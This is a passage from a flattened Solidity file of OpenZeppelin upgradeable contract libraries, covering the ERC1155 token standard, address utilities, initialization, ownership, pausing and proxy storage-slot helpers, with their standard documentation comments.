}
// File @openzeppelin/contracts-upgradeable/token/ERC1155/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC1155/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable {
using AddressUpgradeable for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
function __ERC1155_init(string memory uri_) internal onlyInitializing {
__ERC1155_init_unchained(uri_);
}
function __ERC1155_init_unchained(string memory uri_) internal onlyInitializing {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC1155Upgradeable).interfaceId ||
interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155ReceiverUpgradeable.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155ReceiverUpgradeable.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[47] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/security/[email protected]
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC1155/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC1155} that allows token holders to destroy both their
* own tokens and those that they have been approved to use.
*
* _Available since v3.1._
*/
abstract contract ERC1155BurnableUpgradeable is Initializable, ERC1155Upgradeable {
function __ERC1155Burnable_init() internal onlyInitializing {
}
function __ERC1155Burnable_init_unchained() internal onlyInitializing {
}
function burn(
address account,
uint256 id,
uint256 value
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burn(account, id, value);
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burnBatch(account, ids, values);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/interfaces/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
* proxy whose upgrades are fully controlled by the current implementation.
*/
interface IERC1822ProxiableUpgradeable {
/**
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
* address.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy.
*/
function proxiableUUID() external view returns (bytes32);
}
// File @openzeppelin/contracts-upgradeable/proxy/beacon/[email protected]
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/ERC1967/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal onlyInitializing {
}
function __ERC1967Upgrade_init_unchained() internal onlyInitializing {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
